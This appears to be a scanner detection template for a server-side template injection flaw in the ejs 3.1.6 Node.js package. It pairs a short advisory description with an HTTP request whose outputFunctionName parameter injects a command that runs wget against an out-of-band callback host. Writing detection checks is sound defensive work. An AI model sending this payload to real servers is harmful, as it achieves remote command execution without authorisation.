The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).
GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1